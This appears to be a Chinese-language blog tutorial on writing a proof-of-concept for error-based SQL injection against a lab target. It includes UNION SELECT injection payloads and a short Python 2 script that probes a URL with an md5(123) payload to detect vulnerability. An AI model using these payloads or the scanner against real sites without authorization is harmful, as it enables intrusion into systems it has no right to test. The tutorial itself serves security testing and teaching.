您的位置:首页 > 数据库

渗透测试之POC基于报错的sql注入

2018-01-03 10:50 393 查看
sql注入一般是主要有三种,基于报错注入,基于布尔的盲注和基于时间的盲注。

原理我不多说了,今天开始写sql注入的poc。

首先POC的漏洞存在的证明,而sql注入的poc我们只要证明sql语句被执行了即可。

首先看我们的测试环境。



测试环境中我们再注入的参数加个单引号,发现可以有sql报错,从报错额语句中可以看出是基于报错的字符型sql注入



此时用union来确定有多少个字段

id = 1' union select 1,2,3%23

一直到第四个参数发现报错参数不匹配



所以一共有3个参数。

我们设置一个不存在的id数,这样的话,第一个查询无效,便会显示第二个查询的结果



这时候就是我们准备要执行我们的poc的时候了,让它执行什么sql才好呢?一般来说poc的证明如果用于扫描的话,客户希望是无损的,所以我们还是不要去爆人家的root密码,一般常见的就是mysql自带的md5这个函数去执行,因为这样得到的预期结果可以控制。



所以我们脚本写的poc就是发送一个这样的请求,然后在响应的文本中去寻找是否存在MD5(123)的值,存在则判断存在sql注入。

下载开始python基于无框架写poc

#coding:utf-8
import requests
import sys
import hashlib

def verify(url):
target = url + "/Less-1/index.php?id=10086%27union%20select%201,2,md5(123)%23"
try:
#发送http get请求
req = requests.get(target)
response = req.text
#print response
if response:
#查询md5(123)
if hashlib.md5('123').hexdigest() in response:
print "%s is vulnerable" %target
else:
print "%s is not vulnerable" %target
except Exception,e:
print "Something happend...."
print e

def main():
args = sys.argv
url = ""
if len(args) == 2:
url = args[1]
#print url
verify(url)
else:
print "Usage:python %s url"%(args[0])

if __name__ == '__main__':
main()python脚本测试结果



运行能证明sql注入是存在的
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  poc